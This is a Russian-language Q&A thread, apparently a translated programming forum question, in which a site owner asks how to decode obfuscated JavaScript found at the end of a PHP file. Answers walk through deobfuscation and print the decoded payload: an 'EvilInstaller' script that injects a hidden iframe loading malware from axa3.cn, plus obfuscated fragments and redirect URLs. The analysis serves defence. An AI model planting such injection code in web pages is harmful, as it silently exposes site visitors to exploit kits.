Как бы вы перепроектировали это? - PullRequest
5 голосов
/ 08 января 2009

У меня есть код, который был в нижней части php-файла, который находится в javascript. Он проходит через множество странных искажений, таких как преобразование hex в ascii, затем замена регулярных выражений, выполнение кода и так далее ...

Есть ли способ узнать, что он выполняет, прежде чем он действительно это сделает?

Код здесь:

http://pastebin.ca/1303597

Ответы [ 7 ]

26 голосов
/ 08 января 2009

Вы можете просто пройти его поэтапно - так как это Javascript и он интерпретируется, он должен быть его собственным расшифровщиком. Если у вас есть доступ к интерпретатору Javascript из командной строки (например, Консоль в Firebug ), это будет довольно просто.

Я посмотрю и посмотрю, что произойдет.

Редактировать Я прошел через большинство из них - кажется, что последний шаг нетривиален, возможно потому, что он включает в себя "arguments.callee". Во всяком случае, я положил то, что у меня есть на Pastebin.

Интересно, что самой трудной частью этого было присвоение имен тарабарских переменных собственным именам. Это напомнило мне кроссворд или судоку, где вы знаете, как все связано, но вы не можете окончательно назначить что-то, пока не решите, каковы его зависимые части. :-) Я уверен, что если кто-то распознает алгоритм, он может дать частям более значимые имена, но в момент, когда происходит много XORing, есть две временные переменные, которые я просто оставил в качестве имен по умолчанию. так как я не знаю достаточно контекста, чтобы дать им полезные.

Окончательное редактирование : «Аргументы деобфускация не будет работать, потому что, разумеется, после переименования переменных и т. д. значение будет другим). В любом случае, вот ваш сценарий полностью:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Похоже, что он загружает вредоносное ПО из axa3.cn. Тем не менее, сайт уже подозревается интернет-провайдером, поэтому ничего не сказано о том, что на самом деле было там, помимо общей порчи.

(Если кому-то интересно, я использовал Pastebin в качестве псевдо-VCS для изменяющихся версий кода, так что вы можете увидеть еще один промежуточный шаг , немного позже моего первого поста редактирования. Это было довольно интригующе видеть разные слои запутывания и как они менялись.)

2 голосов
/ 08 января 2009

Несмотря на то, что вы можете декодировать вручную, это может быстро стать утомительным, когда у вас много этапов декодирования. Я обычно заменяю eval / write, чтобы увидеть каждый шаг:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Однако этот конкретный скрипт защищен от этого путем преднамеренной проверки window.eval. Использование arguments.callee также означает, что скрипт использует определенный формат браузера Function.toString, в данном случае IE - он не будет работать в других браузерах. Вы можете использовать обходные пути в функции eval для замены, чтобы дать сценарию то, что он ожидает в этом случае, но это все еще немного болезненно.

Вы можете использовать Script Debugger для пошагового выполнения кода, или в этом случае я разрешил выполнение кода на виртуальной машине без сети, которую я мог бы позволить себе списать. Посмотрев на document.body.innerHTML после запуска кода, я обнаружил, что он добавил невидимый iframe, указывающий на:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

который перенаправляет на:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

, который при подходящих условиях в IE дает вам множество эксплойтов. Не переходите по этим URL .

Короче говоря, ваш сервер был взломан axa3.cn, одной из множества китайских, но управляемых Россией группировок вредоносных программ, действующих на данный момент.

2 голосов
/ 08 января 2009

Просто написать скрипт на Perl или что-то, что изменяет все экранированные шестнадцатеричные символы на ascii? Затем просто просмотрите регулярные выражения, чтобы увидеть, что именно происходит, и сделайте то же самое с вашим сценарием perl / любым другим.

1 голос
/ 08 января 2009

очень осторожно - если кто-то собирается изо всех сил запутать код, это, вероятно, какой-то сценарий атаки

Вы можете выводить результаты выполнения поэтапно, используя локальный html-файл, и получать его по частям

делая это, я получаю:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

, что дает

jQuery=eval(window.eval);

, который, как заметил crescentfresh, связывает переменную jQuery с функцией window.eval.

следующий раздел явно пытается что-то вычислить в шестнадцатеричном коде, поэтому давайте посмотрим, как выглядит строка шестнадцатеричного кода (переформатированная вручную для целей представления):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

и теперь у нас есть экранированная строка в конце, давайте посмотрим, что там есть, используя unescape (усечено для представления):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

Честно говоря, мне становится скучно разбирать это на части, поэтому вместо этого я выбросил его в локальный html-файл, отключил от Интернета, открыл Firefox, отключил JavaScript, загрузил файл в Firefox, включил Firebug, перезагрузил страницу он запустится и осмотрит DOM.

скрипт создает IFRAME с SRC, установленным в [изменено для безопасности!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn - китайский домен в черном списке вредоносных программ

1 голос
/ 08 января 2009

Самый простой подход - слишком просто использовать простую программу на c, чтобы преобразовать экранированные шестнадцатеричные символы в читаемый текст, например:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

, что дает , это (я добавил форматирование). Я позволю вам закончить последнюю часть, которая кажется более похожей.

1 голос
/ 08 января 2009

Вы можете попробовать консоль firebug и разбить ее по частям. Для начала:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

просто маскирует функцию "eval" как "jQuery"

0 голосов
/ 08 января 2009

Я знаю, что это не ответ, но обычно (где я видел подобные вещи) они размещаются так, что если эта строка не выполняется, весь сценарий останавливается. Почему они это делают? Хорошо, потому что они печатают свои авторские права на сценарий (или, как правило, шаблон).

Когда люди обращаются ко всем этим неприятностям, чтобы дать вам признание, потому что у них есть лицензия на удаление авторских прав, я бы порекомендовал заплатить за это, поскольку даже если вы «перепроектируете» это, они могут (и имеют) другие способы чтобы проверить, правда ли ваша лицензия. (некоторые из этих программ фактически отправят какое-то сообщение, если вы это сделаете).

Но, прежде чем я получу какое-либо пламя, я согласен, что интересно вернуться к этим видам ценных бумаг и получить оригинальный код и взломать его =)

...